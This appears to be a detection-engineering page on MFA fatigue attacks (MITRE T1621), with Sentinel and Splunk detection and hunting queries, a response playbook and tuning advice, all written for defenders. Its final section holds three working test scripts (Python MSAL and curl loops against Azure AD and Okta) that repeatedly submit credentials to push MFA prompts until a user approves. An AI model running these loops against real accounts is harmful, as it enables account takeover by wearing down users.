T1621

Multi-Factor Authentication Request Generation

Credential Access Last updated:

This detection identifies MFA fatigue attacks where adversaries possessing valid credentials repeatedly trigger MFA push notifications, SMS codes, or phone calls to overwhelm target users into approving fraudulent authentication requests. The detection monitors Azure AD and identity provider sign-in logs for abnormally high volumes of MFA challenge events against a single account within a short time window, with elevated severity when a successful authentication follows the bombardment — a pattern consistent with documented TTPs from APT29, Scattered Spider, and LAPSUS$. The technique may also abuse Self-Service Password Reset (SSPR) flows to generate MFA requests without initially possessing valid credentials.

What is T1621 Multi-Factor Authentication Request Generation?

Multi-Factor Authentication Request Generation (T1621) maps to the Credential Access tactic — the adversary is trying to steal account names and passwords in MITRE ATT&CK.

This page provides production-ready detection logic for Multi-Factor Authentication Request Generation, covering the data sources and telemetry it touches: Azure Active Directory / Microsoft Entra ID, Microsoft Sentinel. The queries below are rated high severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Credential Access
Technique
T1621 Multi-Factor Authentication Request Generation
Canonical reference
https://attack.mitre.org/techniques/T1621/
Microsoft Sentinel / Defender
kusto
let MFAInterruptCodes = dynamic(["50074", "50076", "50158", "500121", "50072", "53003"]);
let LookbackWindow = 24h;
let BinSize = 1h;
let MFABombardThreshold = 5;
// Step 1: Aggregate MFA failures per user per hour
let MFAEvents = SigninLogs
| where TimeGenerated > ago(LookbackWindow)
| where ResultType in~ (MFAInterruptCodes)
    or (ResultDescription has_any ("MFA", "multi-factor", "strong authentication") and ResultType != "0")
| summarize
    MFAAttempts = count(),
    UniqueIPs = dcount(IPAddress),
    IPList = make_set(IPAddress, 10),
    FirstMFARequest = min(TimeGenerated),
    LastMFARequest = max(TimeGenerated),
    Apps = make_set(AppDisplayName, 5),
    ErrorCodes = make_set(ResultType, 10),
    Locations = make_set(tostring(LocationDetails), 5)
    by UserPrincipalName, bin(TimeGenerated, BinSize);
// Step 2: Find successful logins in the same lookback window
let SuccessEvents = SigninLogs
| where TimeGenerated > ago(LookbackWindow)
| where ResultType == "0"
| summarize
    SuccessCount = count(),
    EarliestSuccess = min(TimeGenerated),
    SuccessIPs = make_set(IPAddress, 5)
    by UserPrincipalName;
// Step 3: Join and flag fatigue success scenarios
MFAEvents
| where MFAAttempts >= MFABombardThreshold
| join kind=leftouter (SuccessEvents) on UserPrincipalName
| extend
    FatigueSucceeded = iff(isnotnull(EarliestSuccess) and EarliestSuccess > FirstMFARequest, true, false),
    DurationMinutes = datetime_diff('minute', LastMFARequest, FirstMFARequest),
    RiskLevel = case(
        isnotnull(EarliestSuccess) and EarliestSuccess > FirstMFARequest, "Critical",
        MFAAttempts >= 10, "High",
        "Medium")
| project
    TimeGenerated,
    UserPrincipalName,
    MFAAttempts,
    UniqueIPs,
    IPList,
    DurationMinutes,
    FirstMFARequest,
    LastMFARequest,
    Apps,
    ErrorCodes,
    Locations,
    FatigueSucceeded,
    EarliestSuccess,
    SuccessIPs,
    RiskLevel
| order by MFAAttempts desc

Detects MFA fatigue attacks by aggregating Azure AD sign-in failures with MFA interrupt error codes (50074, 50076, 50158, 500121, 50072, 53003) per user per hour. Alerts when a single account exceeds 5 MFA challenges in one hour. Critically flags scenarios where a successful login follows the MFA bombardment window, indicating the fatigue tactic succeeded. RiskLevel field escalates to Critical when FatigueSucceeded is true.

high severity high confidence

Data Sources

Azure Active Directory / Microsoft Entra ID Microsoft Sentinel

Required Tables

SigninLogs

False Positives

  • Users with intermittent network connectivity who retry authentication multiple times legitimately, generating repeated MFA prompts without adversarial intent
  • Conditional Access policies configured to always require MFA on every request (rather than session-based) can generate high volumes of 50076 events for normal users
  • Automated service accounts or scripts using interactive auth flows that repeatedly fail MFA challenge — these should use device-based or certificate auth instead
  • IT administrators testing MFA policies, running phishing simulation exercises, or conducting MFA enrollment drives that generate burst MFA events for multiple accounts

Sigma rule & cross-platform mapping

The detection logic for Multi-Factor Authentication Request Generation (T1621) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: azure

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1MFA Fatigue via Python MSAL Repeated Authentication Requests

    Expected signal: Azure AD SigninLogs generates 10 entries for [email protected] with ResultType 50076 or 50158 within a 60-second window, all from the test machine's egress IP. If user approves, a ResultType 0 entry appears.

  2. Test 2MFA Bombardment via Azure AD Token Endpoint curl Loop

    Expected signal: Azure AD SigninLogs shows 10 entries for [email protected] with ResultType 50076 or 500121, all with identical IPAddress (test machine egress IP), within 30 seconds. UserAgent field shows curl version string.

  3. Test 3Okta MFA Bombing via Okta Authentication API

    Expected signal: Okta System Log generates policy.auth.mfa.push.sent events for [email protected], 8 events within 40 seconds. In Splunk: sourcetype=okta:im2:log eventType=policy.auth.mfa.push.sent target{}[email protected]


Response Playbook

Triage

  1. Query SigninLogs for the flagged UserPrincipalName over the past 48 hours sorted by TimeGenerated: identify all source IPs, user agents, and target applications. Look for IP addresses from unusual countries, known hosting providers (AWS, DigitalOcean, Linode, Hetzner), or Tor exit nodes — run: SigninLogs | where UserPrincipalName == '[email protected]' | project TimeGenerated, IPAddress, ResultType, ResultDescription, AppDisplayName, ClientAppUsed, LocationDetails | order by TimeGenerated
  2. Determine if FatigueSucceeded is true by checking if ResultType '0' (success) entries exist after the MFA bombardment window start time. If a successful login occurred, this is a confirmed account takeover — elevate severity immediately
  3. Compare source IPs against the user's 30-day baseline: SigninLogs | where UserPrincipalName == '[email protected]' and TimeGenerated > ago(30d) | summarize count() by IPAddress, CountryOrRegion | order by count_ desc — deviations from normal geography are high-confidence indicators of adversarial activity
  4. Identify the targeted application. MFA bombing targeting Exchange Online (OWA/EXO), Azure Portal, VPN gateways, or admin consoles is higher priority than consumer SaaS apps. Check Apps field in detection alert output
  5. Attempt out-of-band contact with the user via phone call or verified Slack/Teams DM — do NOT contact via email as the email account may already be compromised. Ask if they received unexpected MFA notifications and whether they approved any
  6. Correlate with email security logs to check if this user received a phishing email in the preceding 24-72 hours: EmailEvents | where RecipientEmailAddress == '[email protected]' | where TimeGenerated > ago(3d) | project TimeGenerated, SenderFromAddress, Subject, ThreatTypes, DeliveryAction

Containment

  1. If user confirms they did NOT initiate the requests AND a successful login was detected: immediately revoke all active sessions via PowerShell — Connect-MgGraph; Revoke-MgUserSignInSession -UserId '[email protected]' — or via Entra portal: Users > [user] > Revoke sessions
  2. Force immediate password reset via out-of-band channel: Update-MgUser -UserId '[email protected]' -PasswordProfile @{ForceChangePasswordNextSignIn=$true; Password='NewTempP@ss123!'} and deliver new credentials via phone or verified secondary channel
  3. Create a Conditional Access named location to block the attacking IP range: Azure Portal > Security > Conditional Access > Named Locations > Add IP ranges matching the attacker's /24 subnet, then create a CA policy blocking sign-in from that location for the affected user
  4. Temporarily upgrade the account's MFA method from push notification to number-matching or FIDO2 hardware token to prevent simple approve-all fatigue bypasses: Azure Portal > Users > [user] > Authentication methods
  5. Enable sign-in risk-based Conditional Access for the affected account via Azure AD Identity Protection — set the account's risk level to High manually to require re-registration of MFA device on next login: AzureAD Identity Protection > Risky users > [user] > Confirm user compromised

Evidence Collection

  1. Export the full sign-in log for the affected user (past 72h) as CSV: SigninLogs | where UserPrincipalName == '[email protected]' | where TimeGenerated > ago(72h) | project TimeGenerated, IPAddress, ResultType, ResultDescription, AppDisplayName, ClientAppUsed, DeviceDetail, LocationDetails, RiskLevelAggregated, RiskLevelDuringSignIn
  2. Collect AAD Audit Logs for account modifications (MFA device registration, SSPR configuration, role assignments) during and after the MFA bombing window: AuditLogs | where TimeGenerated > (FirstMFARequest - 1h) | where TargetResources has '[email protected]' | project TimeGenerated, OperationName, Result, InitiatedBy, AdditionalDetails
  3. If a successful login was confirmed: collect CloudAppEvents and OfficeActivity for all actions in the compromised session — focus on mail forwarding rule creation, file downloads, inbox rule changes, admin role assignments, and application consent grants
  4. Run WHOIS and ASN lookup on all attacker source IPs to identify hosting provider, country, and whether IPs are known threat actor infrastructure. Cross-reference against AbuseIPDB, VirusTotal, and Shodan. Document findings in incident ticket
  5. Check for new MFA device registrations or authentication method changes following successful login — a key indicator of persistent access establishment: AuditLogs | where OperationName has_any ('User registered security info', 'Admin updated security info', 'User changed default security info') | where TargetResources has '[email protected]'

Escalation Criteria

  • ! Escalate to Tier 3 / Incident Response immediately if FatigueSucceeded is true AND the post-login session accessed Exchange Online, SharePoint admin center, Azure Portal with privileged roles, or financial/HR systems — confirmed account takeover with high-value target access
  • ! Escalate if the same source IP block is generating MFA challenges against 3+ distinct accounts simultaneously — indicates a coordinated organizational attack (Scattered Spider or LAPSUS$-style), not an isolated credential compromise
  • ! Escalate if source IP infrastructure matches known threat actor indicators for APT29, Scattered Spider (0ktapus), or LAPSUS$ verified via threat intelligence feeds or CISA advisories
  • ! Escalate if this MFA bombing follows a confirmed phishing campaign against the organization in the preceding 72 hours — credential harvesting followed by immediate MFA fatigue is the documented kill chain for multiple nation-state and eCrime groups
  • ! Escalate if the attacker successfully registered a new MFA authenticator device or changed account recovery options post-login — indicates persistent access and potential for re-entry even after password reset

Investigation Guide

Forensic Artifacts

  • > Azure AD SigninLogs table — primary source with MFA interrupt error codes, source IP, user agent, and result timestamps
  • > Azure AD AuditLogs — MFA device registration changes, SSPR configuration events, Conditional Access policy modifications, role assignments
  • > AADNonInteractiveUserSignInLogs — non-interactive sign-ins may bypass standard MFA logging; check for successful token acquisitions from attacker IPs
  • > CloudAppEvents and OfficeActivity tables — post-compromise actions in Microsoft 365 services during compromised sessions
  • > UserRiskEvents and UserRiskHistory — Azure AD Identity Protection risk signals co-occurring with MFA bombing
  • > Microsoft Authenticator push notification history (available from user's enrolled device or MDM enrollment records if managed)
  • > Network proxy/firewall logs for outbound connections from attacker IP ranges to login.microsoftonline.com or identity provider endpoints
  • > Okta System Log (if applicable) — policy.auth.mfa.push.sent and user.authentication.auth_via_mfa events with requester IP and outcome

Tuning Guidance

Start with MFABombardThreshold at 5 per hour for high-sensitivity environments; raise to 10-15 in organizations with known MFA retry issues or aggressive Conditional Access policies that require MFA on every request. Whitelist service accounts using device-based or certificate authentication that incorrectly fall into interactive auth flows. Filter out error code 53003 if your CA policies frequently block unmanaged devices and this creates noise — but monitor 53003 separately for spikes. For the fatigue-success detection, consider widening the join window to 2 hours post-bombardment rather than same-hour to catch delayed approvals. Add IP reputation enrichment using a Sentinel watchlist populated from threat intel feeds to automatically classify attacker IPs as VPN, proxy, or residential — this dramatically reduces false positive triage time. Exclude ResultType 50053 (account locked) which generates MFA-adjacent events unrelated to fatigue attacks. Consider geo-fencing supplemental detection: alert with higher confidence when MFA requests originate from a country the user has never signed in from.


Hunting Queries

Hunts for MFA authenticator device registration or strong authentication method changes on accounts that recently experienced MFA bombardment. Flags when the change occurs AFTER the bombardment — indicating the attacker succeeded in gaining access and is registering their own device to establish persistent access.

Hunting — KQL
kql
// Hunt: MFA config changes on accounts that recently experienced high-volume MFA requests
// Identifies potential post-fatigue-success persistence: attacker registers own authenticator device
let RecentMFABombing = SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType in~ (dynamic(["50074", "50076", "50158", "500121"]))
| summarize MFAAttempts = count(), LastBombardment = max(TimeGenerated) by UserPrincipalName
| where MFAAttempts >= 5;
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName has_any ("User registered security info", "Admin updated security info",
    "User changed default security info", "Update StrongAuthenticationMethod",
    "User deleted security info", "Admin deleted security info")
| mv-expand TargetResources
| extend AffectedUser = tostring(TargetResources.userPrincipalName)
| extend ChangedBy = tostring(InitiatedBy.user.userPrincipalName)
| join kind=inner (RecentMFABombing) on $left.AffectedUser == $right.UserPrincipalName
| extend SuspiciousTiming = iff(TimeGenerated > LastBombardment, true, false)
| project TimeGenerated, AffectedUser, OperationName, ChangedBy, SuspiciousTiming, LastBombardment, MFAAttempts, AdditionalDetails
| order by TimeGenerated desc
Hunting — SPL
spl
index=* sourcetype="azure:aad:audit"
| eval operation=coalesce('properties.operationName', operationName)
| eval target_user=coalesce('properties.targetResources{0}.userPrincipalName', targetUserPrincipalName)
| eval changed_by=coalesce('properties.initiatedBy.user.userPrincipalName', initiatedByUserPrincipalName)
| where match(operation, "security info|StrongAuthentication|registered.*auth|deleted.*auth")
| join type=inner target_user
    [search index=* sourcetype="azure:aad:signin"
    | eval error_code=coalesce('properties.status.errorCode', errorCode, "")
    | eval target_user=coalesce('properties.userPrincipalName', userPrincipalName)
    | where match(error_code, "50074|50076|50158|500121")
    | stats count as mfa_attempts, max(_time) as last_bombardment by target_user
    | where mfa_attempts >= 5
    | fields target_user, mfa_attempts, last_bombardment]
| eval suspicious_timing=if(_time > last_bombardment, "YES", "NO")
| table _time, target_user, operation, changed_by, suspicious_timing, mfa_attempts
| sort -_time

Hunts for single IP addresses generating MFA challenges against 3+ distinct accounts — identifies coordinated spray campaigns where an adversary holds credentials to multiple accounts and bombs all simultaneously. High TargetedAccounts count is a strong indicator of a Scattered Spider or LAPSUS$-style organizational attack. CompromiseRate field reveals what fraction of targeted accounts were successfully accessed.

Hunting — KQL
kql
// Hunt: Single IP targeting multiple accounts with MFA requests (organized spray campaign)
SigninLogs
| where TimeGenerated > ago(24h)
| where ResultType in~ (dynamic(["50074", "50076", "50158", "500121", "50072"]))
| summarize
    TargetedAccounts = dcount(UserPrincipalName),
    AccountList = make_set(UserPrincipalName, 20),
    TotalAttempts = count(),
    TimeRangeMinutes = datetime_diff('minute', max(TimeGenerated), min(TimeGenerated)),
    Apps = make_set(AppDisplayName, 5)
    by IPAddress
| where TargetedAccounts >= 3
| join kind=leftouter (
    SigninLogs
    | where TimeGenerated > ago(24h)
    | where ResultType == "0"
    | summarize SuccessfulAccountCount = dcount(UserPrincipalName), SuccessfulAccounts = make_set(UserPrincipalName, 10) by IPAddress
) on IPAddress
| extend CompromiseRate = iff(TargetedAccounts > 0, round(todouble(coalesce(SuccessfulAccountCount, 0)) / TargetedAccounts * 100, 1), 0.0)
| project IPAddress, TargetedAccounts, AccountList, TotalAttempts, TimeRangeMinutes, Apps, SuccessfulAccountCount, SuccessfulAccounts, CompromiseRate
| order by TargetedAccounts desc
Hunting — SPL
spl
index=* sourcetype="azure:aad:signin"
| eval error_code=coalesce('properties.status.errorCode', errorCode, "")
| eval user=coalesce('properties.userPrincipalName', userPrincipalName)
| eval src_ip=coalesce('properties.ipAddress', ipAddress)
| eval app=coalesce('properties.appDisplayName', appDisplayName)
| where match(error_code, "50074|50076|50158|500121|50072")
| stats
    dc(user) as targeted_accounts,
    values(user) as account_list,
    count as total_attempts,
    values(app) as apps
    by src_ip
| where targeted_accounts >= 3
| sort -targeted_accounts
| table src_ip, targeted_accounts, account_list, total_attempts, apps

Hunts for SSPR (Self-Service Password Reset) abuse where adversaries trigger MFA verification requests through the password reset flow without requiring initial valid credentials. This is a documented T1621 variant (Obsidian Security 2023) — the adversary initiates SSPR for target accounts to generate MFA push notifications, potentially gaining access via fatigue without ever needing the account password.

Hunting — KQL
kql
// Hunt: SSPR-triggered MFA abuse without valid passwords (adversary doesn't need credentials)
// Detects repeated SSPR flow initiations to generate MFA notifications on target accounts
SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType in~ (dynamic(["50072", "500121"]))
    or AppDisplayName has_any ("Password Reset", "SSPR", "Self-Service")
    or ClientAppUsed has "SSPR"
| summarize
    SSPRAttempts = count(),
    UniqueIPs = dcount(IPAddress),
    IPList = make_set(IPAddress, 10),
    FirstSeen = min(TimeGenerated),
    LastSeen = max(TimeGenerated),
    Apps = make_set(AppDisplayName, 5)
    by UserPrincipalName
| where SSPRAttempts >= 3
| join kind=leftouter (
    AuditLogs
    | where TimeGenerated > ago(7d)
    | where OperationName has "Reset password"
    | mv-expand TargetResources
    | summarize PasswordResets = count() by UserPrincipalName = tostring(TargetResources.userPrincipalName)
) on UserPrincipalName
| project UserPrincipalName, SSPRAttempts, UniqueIPs, IPList, FirstSeen, LastSeen, Apps, PasswordResets
| order by SSPRAttempts desc
Hunting — SPL
spl
index=* sourcetype="azure:aad:signin"
| eval error_code=coalesce('properties.status.errorCode', errorCode, "")
| eval app=lower(coalesce('properties.appDisplayName', appDisplayName, ""))
| eval user=coalesce('properties.userPrincipalName', userPrincipalName)
| eval src_ip=coalesce('properties.ipAddress', ipAddress)
| where match(error_code, "50072|500121") OR match(app, "password reset|sspr|self.service")
| stats
    count as sspr_attempts,
    dc(src_ip) as unique_ips,
    values(src_ip) as ip_list,
    min(_time) as first_seen,
    max(_time) as last_seen
    by user
| where sspr_attempts >= 3
| eval first_seen_fmt=strftime(first_seen, "%Y-%m-%d %H:%M:%S")
| eval last_seen_fmt=strftime(last_seen, "%Y-%m-%d %H:%M:%S")
| sort -sspr_attempts
| table user, sspr_attempts, unique_ips, ip_list, first_seen_fmt, last_seen_fmt

Atomic Red Team Tests

Test 1 MFA Fatigue via Python MSAL Repeated Authentication Requests
linux

Simulates MFA fatigue by using the Microsoft Authentication Library (MSAL) to repeatedly attempt authentication with valid credentials, each attempt triggering an MFA push notification to the target user's authenticator app. Each failed MFA generates a 50076 or 50158 error code in Azure AD SigninLogs. Requires a registered Azure AD native app with password grant enabled and valid test account credentials.

Command

bash
pip install msal --quiet
python3 << 'EOF'
import msal, time, sys

# Replace with test tenant values before running
TENANT_ID = 'YOUR_TENANT_ID'
CLIENT_ID = 'YOUR_NATIVE_APP_CLIENT_ID'
USERNAME = '[email protected]'
PASSWORD = 'TestPassword123!'
SCOPES = ['User.Read']

app = msal.PublicClientApplication(
    CLIENT_ID,
    authority=f'https://login.microsoftonline.com/{TENANT_ID}'
)

print('[*] Starting MFA fatigue simulation - 10 attempts')
for i in range(10):
    print(f'[*] Attempt {i+1}/10 - triggering MFA push notification at {time.strftime("%H:%M:%S")}')
    result = app.acquire_token_by_username_password(
        USERNAME, PASSWORD, scopes=SCOPES
    )
    if 'access_token' in result:
        print(f'[!] SUCCESS - user approved MFA on attempt {i+1}')
        sys.exit(0)
    else:
        err = result.get('error_description', result.get('error', 'unknown'))
        print(f'    Error: {str(err)[:100]}')
    time.sleep(6)

print('[*] Test complete - check Azure AD SigninLogs for 50076/50158 entries')
EOF

Cleanup

bash
pip uninstall msal --yes 2>/dev/null; true

Expected Telemetry

Azure AD SigninLogs generates 10 entries for [email protected] with ResultType 50076 or 50158 within a 60-second window, all from the test machine's egress IP. If user approves, a ResultType 0 entry appears.

Expected Detection

T1621 alert fires after 5+ MFA interrupt events for [email protected] accumulate in the 1-hour bin. FatigueSucceeded field becomes true if test completes with MFA approval.

Test 2 MFA Bombardment via Azure AD Token Endpoint curl Loop
linux

Uses curl to directly call the Azure AD OAuth2 v2.0 token endpoint with valid credentials in a rapid loop, triggering repeated MFA push notifications at the HTTP level. This simulates the behavior of adversary tooling (e.g., Evilginx2 replay, custom scripts) without Python dependencies.

Command

bash
# Replace variables with test tenant values
TENANT_ID="YOUR_TENANT_ID"
CLIENT_ID="YOUR_NATIVE_APP_CLIENT_ID"
USERNAME="[email protected]"
PASSWORD="TestPassword123!"

echo "[*] Starting MFA bombardment - 10 requests at 3-second intervals"
for i in $(seq 1 10); do
  echo "[*] Attempt $i/10 - $(date '+%H:%M:%S')"
  RESPONSE=$(curl -s -X POST \
    "https://login.microsoftonline.com/${TENANT_ID}/oauth2/v2.0/token" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode "grant_type=password" \
    --data-urlencode "client_id=${CLIENT_ID}" \
    --data-urlencode "username=${USERNAME}" \
    --data-urlencode "password=${PASSWORD}" \
    --data-urlencode "scope=openid profile")
  ERROR_CODES=$(echo "$RESPONSE" | grep -o '"error_codes":\[[0-9,]*\]' | head -1)
  echo "    Error codes: ${ERROR_CODES:-none}"
  if echo "$RESPONSE" | grep -q '"access_token"'; then
    echo "[!] SUCCESS - MFA approved"
    break
  fi
  sleep 3
done
echo "[*] Complete - verify Azure AD SigninLogs for 50076/500121 entries"

Cleanup

bash
true

Expected Telemetry

Azure AD SigninLogs shows 10 entries for [email protected] with ResultType 50076 or 500121, all with identical IPAddress (test machine egress IP), within 30 seconds. UserAgent field shows curl version string.

Expected Detection

Detection query accumulates 10 MFAAttempts for the account within a 1-hour bin, triggering the alert with RiskLevel=High. UniqueIPs=1 (single source) is characteristic of targeted rather than spray attack.

Test 3 Okta MFA Bombing via Okta Authentication API
linux

Simulates MFA fatigue against an Okta-protected account by calling the Okta Authentication API primary authentication endpoint repeatedly, each triggering an Okta Verify push notification on the target user's enrolled device. Each MFA_CHALLENGE status in the response confirms a push was sent. Requires valid Okta credentials and an accessible Okta org.

Command

bash
# Replace with test Okta org values
OKTA_DOMAIN="YOUR_ORG.okta.com"
USERNAME="[email protected]"
PASSWORD="TestPassword123!"

echo "[*] Starting Okta MFA bombing simulation - 8 requests"
for i in $(seq 1 8); do
  echo "[*] Attempt $i/8 - $(date '+%H:%M:%S')"
  RESPONSE=$(curl -s -X POST \
    "https://${OKTA_DOMAIN}/api/v1/authn" \
    -H 'Content-Type: application/json' \
    -H 'Accept: application/json' \
    -d "{\"username\":\"${USERNAME}\",\"password\":\"${PASSWORD}\"}")
  STATUS=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('status','PARSE_ERROR'))" 2>/dev/null || echo "PARSE_ERROR")
  echo "    Status: $STATUS"
  if [ "$STATUS" = "MFA_CHALLENGE" ]; then
    echo "    [!] Okta Verify push notification sent to enrolled device"
  elif [ "$STATUS" = "SUCCESS" ]; then
    echo "    [!] SUCCESS - user accepted MFA"
    break
  elif [ "$STATUS" = "LOCKED_OUT" ]; then
    echo "    [!] Account locked - stopping test"
    break
  fi
  sleep 5
done
echo "[*] Test complete - check Okta System Log for mfa.factor.activate/push.sent events"

Cleanup

bash
true

Expected Telemetry

Okta System Log generates policy.auth.mfa.push.sent events for [email protected], 8 events within 40 seconds. In Splunk: sourcetype=okta:im2:log eventType=policy.auth.mfa.push.sent target{}[email protected]

Expected Detection

If Okta logs are ingested via Splunk's Okta Add-on (sourcetype=okta:im2:log), modify the SPL detection to also search this sourcetype for high-volume mfa.factor events per user. For Azure Sentinel, the Okta connector maps to SigninLogs equivalent tables for cross-platform detection.

Related Detections

Detection Variants (1)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.